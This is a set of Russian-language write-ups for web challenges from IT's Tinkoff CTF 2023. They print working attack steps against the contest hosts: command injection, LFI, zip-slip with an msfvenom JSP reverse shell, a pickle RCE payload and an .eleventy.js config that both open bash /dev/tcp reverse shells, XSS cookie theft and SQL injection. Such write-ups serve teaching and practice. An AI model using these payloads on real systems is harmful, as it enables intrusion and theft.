├── artifacts ├── map.png ├── flag.png └── WRITEUP.md ├── catcher ├── burp.png ├── rce.png └── WRITEUP.md ├── planetdb ├── url.png ├── lfi_error.png └── WRITEUP.md ├── cosmoflot ├── sqli.png ├── offset_1.png ├── offset_2.png ├── ticket.png ├── ticket_registration.png └── WRITEUP.md ├── acupuncture ├── flag.png └── WRITEUP.md ├── tinderella ├── premium.png ├── source.png └── WRITEUP.md ├── ucucuga ├── response.png ├── base64_encode_to_url.png └── WRITEUP.md ├── galacticmarketplace ├── burp.png ├── flag.png ├── site.png ├── intruder.png ├── repeater.png └── WRITEUP.md ├── README.md └── broken └── WRITEUP.md /artifacts/map.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/artifacts/map.png -------------------------------------------------------------------------------- /catcher/burp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/catcher/burp.png -------------------------------------------------------------------------------- /catcher/rce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/catcher/rce.png -------------------------------------------------------------------------------- /planetdb/url.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/planetdb/url.png -------------------------------------------------------------------------------- /artifacts/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/artifacts/flag.png -------------------------------------------------------------------------------- /cosmoflot/sqli.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/sqli.png -------------------------------------------------------------------------------- /acupuncture/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/acupuncture/flag.png -------------------------------------------------------------------------------- /cosmoflot/offset_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/offset_1.png -------------------------------------------------------------------------------- /cosmoflot/offset_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/offset_2.png -------------------------------------------------------------------------------- /cosmoflot/ticket.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/ticket.png -------------------------------------------------------------------------------- /planetdb/lfi_error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/planetdb/lfi_error.png -------------------------------------------------------------------------------- /tinderella/premium.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/tinderella/premium.png -------------------------------------------------------------------------------- /tinderella/source.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/tinderella/source.png -------------------------------------------------------------------------------- /ucucuga/response.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/ucucuga/response.png -------------------------------------------------------------------------------- /galacticmarketplace/burp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/burp.png -------------------------------------------------------------------------------- /galacticmarketplace/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/flag.png -------------------------------------------------------------------------------- /galacticmarketplace/site.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/site.png -------------------------------------------------------------------------------- /galacticmarketplace/intruder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/intruder.png -------------------------------------------------------------------------------- /galacticmarketplace/repeater.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/galacticmarketplace/repeater.png -------------------------------------------------------------------------------- /ucucuga/base64_encode_to_url.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/ucucuga/base64_encode_to_url.png -------------------------------------------------------------------------------- /cosmoflot/ticket_registration.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/po-beda/ITs-Tinkoff-CTF-2023/HEAD/cosmoflot/ticket_registration.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IT's Tinkoff CTF web writeups 2 | 3 | - [Зов аномалий](artifacts/WRITEUP.md) 4 | - [Принцесса в другом замке](tinderella/WRITEUP.md) 5 | - [Планетарная важность](broken/WRITEUP.md) 6 | - [Мегастог](acupuncture/WRITEUP.md) 7 | - [Кефтеме](galacticmarketplace/WRITEUP.md) 8 | - [Пепелац девелопмент](cosmoflot/WRITEUP.md) 9 | - [Охотники за ловушками](catcher/WRITEUP.md) 10 | - [Тайна четвертой планеты](planetdb/WRITEUP.md) 11 | - [Шифрователь ДНК](ucucuga/WRITEUP.md) 12 | -------------------------------------------------------------------------------- /tinderella/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Принцесса в другом замке 2 | 3 | После того как выбрали нашу принцессу и досвайпали до конца, пробуем купить информацию об ее метсоположении, но получаем: 4 | 5 | ![Нужен премиум](premium.png) 6 | 7 | Во вкладке браузера *Network* ничего не происходит, поэтому начнем анализ кода React'а. Чуть упростим его с помощью [de4js](https://lelinhtinh.github.io/de4js/) и выполним ключевой поиск по тому самому сообщению: 8 | 9 | ![Исходники](source.png) 10 | 11 | Чуть ниже видим обращение к API. Вызовем его с идентификатором нашей принцессы: 12 | 13 | 14 | ```bash 15 | $ curl https://its-tinderella-wyfklpp1.spbctf.ru/api/princess-sputnik?id=2 16 | {"geolocation":"its{Its_a_mE_MarIO_FOUnd_a_vulN_4ND_FoUnD_My_loV3}","success":true} 17 | ``` -------------------------------------------------------------------------------- /galacticmarketplace/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Кефтеме 2 | 3 | Потыкаем сайт и посмотрим, что происходит в Burp'е.
4 | Для активации промокода на кэшбэк (о котором сказано в условии), на сервер отправляется запрос: 5 | 6 | Скрин Burp'а 7 | 8 | Фронтенд не позволяет нам активировать промокод еще раз, но мы попробуем сделать это в Repeater'е Burp'а: 9 | 10 | Repeater Burp'а 11 | 12 | Как не странно, но это работает. Повторим этот запрос еще много раз, чтобы *cashback* стал больше 100 и мы ушли в плюс после покупки: 13 | 14 | Intruder Burp'a 15 | 16 | Скрин корзины сайта 17 | 18 | Теперь можно купить товары подороже. Повторим действия выше...
19 | После нескольких итераций мы смогли накопить нужную сумму для покупки "Подкрадулей флажных": 20 | 21 | ![Флаг](flag.png) 22 | -------------------------------------------------------------------------------- /broken/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Планетарная важность 2 | 3 | В этом задании нам предстоит перезагрузить сайт. Просмотрев исходный HTML главной страницы, наше внимание сразу привлекает данный фрагмент JS кода: 4 | 5 | ```js 6 | $('#statusButton').click(function () { 7 | $.get('/execute?cmd=get-status', function (data) { 8 | $('.result').text(data); 9 | $('.modal').show(); 10 | }); 11 | }); 12 | ``` 13 | 14 | Исходя из названий, складывается впечатление, что при нажатии на кнопку, на сервер отправляется команда для выполнения, а затем возвращается результат. Давайте проверим: 15 | 16 | ```bash 17 | $ curl https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=pwd 18 | /home/app 19 | ``` 20 | 21 | Ура так, и есть! Теперь надо осмотреться: 22 | 23 | ```bash 24 | $ curl https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=ls 25 | README.md 26 | main.py 27 | requirements.txt 28 | templates 29 | ``` 30 | 31 | И получим исходники: 32 | 33 | ```bash 34 | $ curl -G https://its-broken-jncn4dyj.spbctf.ru/execute --data-urlencode 'cmd=cat main.py' 35 | /bin/sh: 1: cat+main.py: not found 36 | ``` 37 | 38 | Не беда, обойдем с помощью переменной IFS (Internal Field Separator): 39 | 40 | ```bash 41 | $ curl 'https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=cat$IFS"main.py"' 42 | import subprocess 43 | from urllib.parse import urlparse 44 | 45 | from flask import Flask, request, render_template, abort, redirect, url_for 46 | 47 | app = Flask(__name__) 48 | ... 49 | 50 | ``` 51 | 52 | Ничего интересного, а вот в **README.md** содержит инструкцию к перезагрузке: 53 | 54 | Для перезагрузки приложения выполните 55 | 56 | ```bash 57 | curl http://management:5000/restart/ 58 | ``` 59 | 60 | ```bash 61 | $ curl 'https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=curl$IFS"http://management:5000/restart/">/tmp/h;' 62 | $ curl 'https://its-broken-jncn4dyj.spbctf.ru/execute?cmd=cat$IFS/tmp/h;' 63 | Success! Go to /060648ac9456adba9740f7b2b119abf2bcf194c2/ to get flag 64 | 65 | $ curl https://its-broken-jncn4dyj.spbctf.ru/060648ac9456adba9740f7b2b119abf2bcf194c2/ | grep its 66 |

its{yoU_54VED_hUMaNi7Y_fRoM_A_MEt3or173_FAll_w17h_RcE}

67 | ``` 68 | -------------------------------------------------------------------------------- /ucucuga/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Шифрователь ДНК 2 | 3 | Проанализировав исходный код, видим самописную сериализацию для Python: 4 | 5 | ```php 6 | $router->post('/', function (\Illuminate\Http\Request $request) { 7 | function pickle_dumps($array) { 8 | $pickle = ""; 9 | foreach ($array as $str) { 10 | $pickle .= "\x8C" . chr(strlen($str)) . $str . "\x94"; 11 | } 12 | $pickle = "\x5D\x94\x28" . $pickle . "\x65"; 13 | $pickle = "\x80\x04\x95" . pack("Q", strlen($pickle)) . $pickle . "\x2E"; 14 | return $pickle; 15 | } 16 | $conversion_type = $request->input('conversion_type'); 17 | $array = $request->input('data'); 18 | var_dump($array); 19 | $pickle = pickle_dumps($array); 20 | ``` 21 | 22 | Если данные тщательно не валидируются (а еще хуже берутся прямо у пользователя) возникает большая проблема. Десериализация специально сконструированного пэйлоада в питоне может привести к [исполнению произвольного кода](https://github.com/CalfCrusher/Python-Pickle-RCE-Exploit). 23 | 24 | Наш случай несколько сложнее, ведь код выше сериализует массив в питоновский список строк, поэтому нужно передать такую строку, чтобы на выходе получить валидные данные, которые сможет скушать *pickle*. 25 | 26 | Заметим одну важную деталь - `chr` возвращает символ из последнего байта числа, т.е. если передать ему 0x101, он вернет \x01. Теперь можно подготовить payload: 27 | 28 | ```python 29 | from pickle import dumps 30 | from base64 import b64encode 31 | 32 | class evil(object): 33 | def __reduce__(self): 34 | import os 35 | return (os.system, (cmd,)) 36 | 37 | cmd = 'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"' 38 | 39 | payload = dumps(evil()) + b'\x8c\x01a' 40 | n = 0x101 - len(payload) - 4 41 | payload = b'a\x94\x8c' + bytes([n]) + b'a' * n + payload 42 | 43 | print(b64encode(payload)) 44 | ``` 45 | 46 | Таким образом длина payload'а = 0x101 47 | 48 | - закрытие строки длиной 1 + 49 | - padding строка (которая увеличивает длину payload'а) + 50 | - RCE объект + 51 | - открытие строки длиной 1 52 | 53 | Зашлем наш payload на сервер и получим флаг: 54 | 55 | ![Конвертируем Base64 в URL](base64_encode_to_url.png) 56 | 57 | ![Засылаем payload](response.png) 58 | -------------------------------------------------------------------------------- /acupuncture/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Мегастог 2 | 3 | Из условия следует, что на сайте есть клиент, подтверждающий записи к врачу (активирующий аккаунты пациентов). Возможно нам это пригодится... 4 | 5 | Код, представленный в исходниках, хранится на [GitHub](https://github.com/sumitkumar1503/hospitalmanagement/) (о чем нам говорит README.md). Давайте настроим и запустим его: 6 | 7 | ```bash 8 | $ python3 manage.py makemigrations 9 | Migrations for 'hospital': 10 | hospital/migrations/0019_auto_20230716_1432.py 11 | - Alter field address on patientdischargedetails 12 | ``` 13 | 14 | Интересно, все нужные миграции были сгенерированны заранее и лежат в *hospital/migrations*. Давайте посмотрим, что является её причиной: 15 | 16 | ```python 17 | # Generated by Django 3.0.5 on 2023-07-16 14:32 18 | 19 | from django.db import migrations, models 20 | 21 | 22 | class Migration(migrations.Migration): 23 | 24 | dependencies = [ 25 | ('hospital', '0018_auto_20201015_2036'), 26 | ] 27 | 28 | operations = [ 29 | migrations.AlterField( 30 | model_name='patientdischargedetails', 31 | name='address', 32 | field=models.CharField(max_length=200), 33 | ), 34 | ] 35 | ``` 36 | 37 | Добавлено новое поле - **address**. В последней версии проекта на GitHub этого поля нет. Найдем все строки кода, где оно используется: 38 | 39 | ```bash 40 | $ grep -rn 'address' hospital 41 | ... 42 | 43 | $ grep -rn 'address' hospitalmanagement 44 | ... 45 | 46 | $ grep -rn 'address' templates 47 | ... 48 | templates/hospital/admin_approve_patient.html:50: {{p.address |safe }} 49 | ... 50 | ``` 51 | 52 | Отлично, найден потенциальный вектор XSS.
53 | Зарегистрируем пользователся со следующим адрессом: 54 | 55 | ```html 56 | 57 | ``` 58 | 59 | После подтверждения, получаем на сервер куки админа: 60 | 61 | ``` 62 | 158.176.4.7 - - [16/Jul/2023 16:46:46] "GET /?x=csrftoken=Xg09BR5WXVpB3ms3d9o1P2NgWOBDPV8ga8IONyIktxSBJjArXgvkS6END0O0oJay;%20sessionid=kj3nt36lkfua1hm9h43v85o8lyeuwvee HTTP/1.1" 200 - 63 | ``` 64 | 65 | Меняем их у себя и переходим на главную страницу, после чего нас редиректит на админ панель с флагом: 66 | 67 | ![Флаг](flag.png) 68 | -------------------------------------------------------------------------------- /planetdb/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Тайна четвертой планеты 2 | 3 | На главной странице находится база известных планет. Попробуем взглянуть на одну из них: 4 | 5 | ![Юпитер](url.png) 6 | 7 | С ходу бросается в глаза GET параметр **file**. Давайте попробуем поменять его значние, скажем, на `../../../../../etc/passwd` 8 | 9 | ![Ошибка](lfi_error.png) 10 | 11 | Отлично, мы нашли LFI. Теперь можем ликнуть исходный код: 12 | 13 | ```bash 14 | $ curl https://its-planetdb-aywslqa6.spbctf.ru/view.jsp?file=../../../../../../usr/local/tomcat/webapps/ROOT/index.jsp 15 | $ curl https://its-planetdb-aywslqa6.spbctf.ru/view.jsp?file=../../../../../../usr/local/tomcat/webapps/ROOT/view.jsp 16 | $ curl https://its-planetdb-aywslqa6.spbctf.ru/view.jsp?file=../../../../../../usr/local/tomcat/webapps/ROOT/upload.jsp 17 | ``` 18 | 19 | В *upload.jsp* есть возможность загрузки ZIP архивов, однако имена файлов никак не валидируются: 20 | 21 | ```java 22 | if (fileName.endsWith(".zip")) { 23 | try (ZipInputStream zis = new ZipInputStream(item.getInputStream())) { 24 | ZipEntry zipEntry; 25 | 26 | while ((zipEntry = zis.getNextEntry()) != null) { 27 | String zipEntryName = zipEntry.getName(); 28 | String savePath = "/usr/local/tomcat/webapps/ROOT/markdowns/" + File.separator + zipEntryName; 29 | File newFile = new File(savePath); 30 | new File(newFile.getParent()).mkdirs(); 31 | 32 | try (FileOutputStream fos = new FileOutputStream(newFile)) { 33 | int len; 34 | byte[] buffer = new byte[1024]; 35 | 36 | while ((len = zis.read(buffer)) > 0) { 37 | fos.write(buffer, 0, len); 38 | } 39 | } 40 | 41 | } 42 | } 43 | } 44 | ``` 45 | 46 | А значит теперь у нас есть **Arbitrary Write**. Так как текущий пользователь может записывать в */usr/local/tomcat/webapps/ROOT/* мы легко можем получить RCE. Подготовим payload: 47 | 48 | ```bash 49 | $ msfvenom -p java/jsp_shell_reverse_tcp LHOST=host LPORT=port -o rce.jsp 50 | $ mkdir 1 && cd 1 51 | $ zip payload.zip ../rce.jsp 52 | ``` 53 | 54 | Загрузим архим и получим шелл: 55 | 56 | ```bash 57 | $ nc -nlvp port 58 | $ curl https://its-planetdb-aywslqa6.spbctf.ru/rce.jsp 59 | ``` 60 | 61 | Флаг лежал в корне: 62 | 63 | ```bash 64 | $ ls / 65 | ... 66 | flag-YEOdT2KINQ96.txt 67 | ... 68 | 69 | $ cat /flag-YEOdT2KINQ96.txt 70 | its{5uDD3n_d1amOND_du57_D373C7ed_In_7he_C0Gs_oF_pl4neTDb} 71 | ``` -------------------------------------------------------------------------------- /cosmoflot/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Пепелац девелопмент 2 | 3 | Проанализируем исходный код и найдем место, уязвимое к SQL инъекции: 4 | 5 | ![Уязвимый код](sqli.png) 6 | 7 | Осталось понять откуда берется `leg.document_number` и как обойти мешающий нам `" OR ".join()` 8 | 9 | ### `leg.document_number` 10 | 11 | Просмотрев код еще пару раз, понимаем, что данное значение получается при парсинге штрихкода билета PDF-417, который можно сгенерировать на [its-cosmoflot-emf9yki3.spbctf.ru](http://its-cosmoflot-emf9yki3.spbctf.ru/). Так как он имеет определенную длину - 10 цифр (что определенно мало для эксплуатаии SQLi), оформим билет с максимально возможным количеством рейсов: 12 | 13 | ![Оформление билета](ticket_registration.png) 14 |
15 | 16 | ![Билет](ticket.png) 17 | 18 | Раздекодим билет для дальнейшей эксплуатации, я воспользовался [данным сайтом](https://products.aspose.app/barcode/recognize): 19 | 20 | ``` 21 | M9ASD/ASD EFT5LSE EARMARCF 1506 197Y015B0080 13B>60B1PP2197PCF 2A991300000000331CF 0K NTANX3V MAREARCF 1507 197Y015B0074 12C2A991300000000331CF 0K NNHHYCT EARMARCF 1506 197Y015B0010 12C2A991300000000331CF 0K NHWR40R MAREARCF 1507 197Y015B0038 12C2A991300000000331CF 0K NPPSIWY EARMARCF 1506 197Y015B0008 12C2A991300000000331CF 0K NJW27YM MAREARCF 1507 197Y015B0055 12C2A991300000000331CF 0K N1JZNRZ EARMARCF 1506 197Y015B0008 12C2A991300000000331CF 0K NXK3BY3 MAREARCF 1507 197Y015B0035 12C2A991300000000331CF 0K NO23JDQ EARMARCF 1506 197Y015B0086 12C2A991300000000331CF 0K N 22 | ``` 23 | 24 | ### " OR ".join() 25 | 26 | Обойдем данное "ограничение" при помощи комментариев языка SQL: 27 | 28 | | Номер рейса | Значение пасспорта | 29 | |:-----------:|:------------------:| 30 | | 1 | `1 UNION /*` | 31 | | 2 | `*/SELECT/*` | 32 | | 3 | `*/* FROM/*` | 33 | | 4 | `*/ban /*` | 34 | | 5 | `*/OFFSET/*` | 35 | | 6 | `*/1; -- ` | 36 | 37 | Заменим первые шесть значений *30000000003* на новые. После объединения, запрос примет такой вид: 38 | 39 | ```sql 40 | SELECT * FROM ban WHERE passport = 1 UNION /* OR passport = */SELECT/* OR passport = */* FROM/* OR passport = */ban /* OR passport = */OFFSET/* OR passport = */1; -- OR passport = 3000000003 41 | /* Что эквивалентно */ 42 | SELECT * FROM ban WHERE passport = 1 UNION SELECT * FROM ban OFFSET 1; 43 | ``` 44 | 45 | Генерирует штрихкод и пробуем с ним пройти на посадку: 46 | 47 | ![Первый оффсет](offset_1.png) 48 | 49 | Не получилось, попробуем с `OFFSET 2`: 50 | 51 | ![Второй оффсет](offset_2.png) 52 | -------------------------------------------------------------------------------- /catcher/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Охотники за ловушками 2 | 3 | В качестве функционала сайта выступает генератор портфолио. В исходном коде видим, что сайт принимает в параметрах 2 файла: 4 | 5 | 1. **site.json**: JSON набор данных, указанных в форме 6 | 2. **style.css**: дополнительные стили к нашему портфолио 7 | 8 | ![Burp](burp.png) 9 | 10 | На самом же деле, сайт может обрабатывать N-ое количество файлов: 11 | 12 | ```js 13 | for (el of req.body.config) { 14 | try { 15 | fs.writeFileSync(path.join("/app/build/", randDir, "parameters", el.name), Buffer.from(el.content, 'base64')); 16 | } 17 | catch (err) { 18 | fs.rmdirSync(`/app/build/${randDir}`, { recursive: true, force: true }); 19 | fs.rmdirSync(`/app/portfolio/${randDir}/`, { recursive: true, force: true }); 20 | return res.json({ "response": err.toString() }); 21 | } 22 | } 23 | ``` 24 | 25 | Также не трудно заметить, что их названия никак не валидируются, а значит у нас есть **Arbitrary Write**.
26 | После загрузки всех файлов и некоторых приготовлений происходит генерация портфолио с помощью *Eleventy*: 27 | 28 | ```bash 29 | mkdir _data && ln -s $paramDir/site.json $buildDir/blog/_data/site.json && cp $paramDir/style.css $buildDir/blog/static/style.css 30 | eleventy --formats=html --output=$portfolioDir 31 | ``` 32 | 33 | Теперь попробуем получить RCE. Основным вектором является файл конфигурации *.eleventy.js*. Контролируя его содержимое мы сможем выполнить JS код, однако есть некоторые трудности: 34 | 35 | 1. `git checkout -f 2>&1`: перезапишет все в корне репозитория (в том числе *.eleventy.js*) 36 | 37 | **Решение:** 38 | Так как репозиторий копируется до загрузки файлов пользователя, мы можем повредить объект коммита, чтобы команда не выполнилась: в нашем случае `.git/objects/a5/a0214ef71569a697cb4e63d99ca6b840b2f67d` 39 | 40 | 2. `git clean -ffdx 2>&1`: если конфиг не будет создан по каким-либо причинам, он будет удален 41 | 42 | **Решение:** 43 | Удалим конфиг из индекса (т.е. перезапишем `.git/index`) 44 | 45 | 46 | Суммируя все, подготовим payload: 47 | 48 | ```bash 49 | $ git restore --staged .eleventy.js 50 | $ base64 -w0 < .git/index 51 | RElSQwAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBpAAAAAAAAAAAAAAAAGSD8fBxH01a7Vs1zqyy3sylSFEcAAwuZWxldmVudHkuanMAAAAAAABQYf+bDe4iBtaxxXO8t0B94lcbjw== 52 | $ base64 -w0 <& /dev/tcp/ip/port 0>&1"'); 55 | return {}; 56 | } 57 | EOF 58 | 59 | bW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbihlbGV2ZW50eUNvbmZpZykgewogIHJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMSInKTsKICByZXR1cm4ge307Cn0K 60 | ``` 61 | 62 | Ставим netcat и отправляем запрос: 63 | 64 | ![Окончательный payload](rce.png) 65 | 66 | Получаем шелл ... и флаг 67 | 68 | ```bash 69 | nc -nlvp port 70 | 71 | $ cd /app/portfolio/a03948cd8f97124c00c4cad71c2ceaf7ba1e0a9d 72 | $ cat index.html | grep flag 73 | 👻 Ghost trap
74 | href="/ghost_catcher/e0c96da95479e8e54697633d1f4439c11c65eff8/flag_4713a9c72d9eec3904cc9d92176d1e489515c439.txt">Project 75 | 76 | $ curl https://its-catcher-lnxfkuu9.spbctf.ru/ghost_catcher/e0c96da95479e8e54697633d1f4439c11c65eff8/flag_4713a9c72d9eec3904cc9d92176d1e489515c439.txt 77 | its{1_aInT_fR41D_0F_NO_GhoST_eSPEciaLlY_NoW_WItH_caTCh3R} 78 | ``` -------------------------------------------------------------------------------- /artifacts/WRITEUP.md: -------------------------------------------------------------------------------- 1 | # Зов аномалий 2 | 3 | Из условия задания следует, что главная задача - найти все аномалии в зоне. Переходим на сайт и видим карту 4 | 5 | 6 | 7 | Просмотрев все аномалии так и не находим флаг, скорее всего, на карте представлены не все аномалии. 8 | Переберем всевозможные ID с помощью wfuzz, и выясним, так ли это на самом деле 9 | 10 | ```bash 11 | $ wfuzz -z range,1-300 --hc 404 https://its-artifacts-jk2dm72.spbctf.ru/?attachment_id=FUZZ 12 | 13 | ******************************************************** 14 | * Wfuzz 3.1.0 - The Web Fuzzer * 15 | ******************************************************** 16 | 17 | Target: https://its-artifacts-jk2dm72.spbctf.ru/?attachment_id=FUZZ 18 | Total requests: 300 19 | 20 | ===================================================================== 21 | ID Response Lines Word Chars Payload 22 | ===================================================================== 23 | 24 | 000000026: 200 187 L 1829 W 43168 Ch "26" 25 | 000000020: 200 187 L 1825 W 42975 Ch "20" 26 | 000000064: 200 187 L 1815 W 42615 Ch "64" 27 | 000000091: 200 187 L 1827 W 43024 Ch "91" 28 | 000000113: 200 186 L 1815 W 42782 Ch "113" 29 | 000000115: 200 186 L 1815 W 42779 Ch "115" 30 | 000000112: 200 186 L 1815 W 42764 Ch "112" 31 | 000000114: 200 186 L 1815 W 42776 Ch "114" 32 | 000000111: 200 186 L 1815 W 42764 Ch "111" 33 | 000000118: 200 186 L 1815 W 42776 Ch "118" 34 | 000000116: 200 186 L 1815 W 42764 Ch "116" 35 | 000000117: 200 186 L 1815 W 42779 Ch "117" 36 | 000000120: 200 186 L 1815 W 42770 Ch "120" 37 | 000000119: 200 186 L 1815 W 42767 Ch "119" 38 | 000000191: 200 186 L 1812 W 42633 Ch "191" 39 | ``` 40 | 41 | Так и есть, под аномалией с ID=191 скрывается флаг 42 | 43 | ![Флаг](flag.png) 44 | --------------------------------------------------------------------------------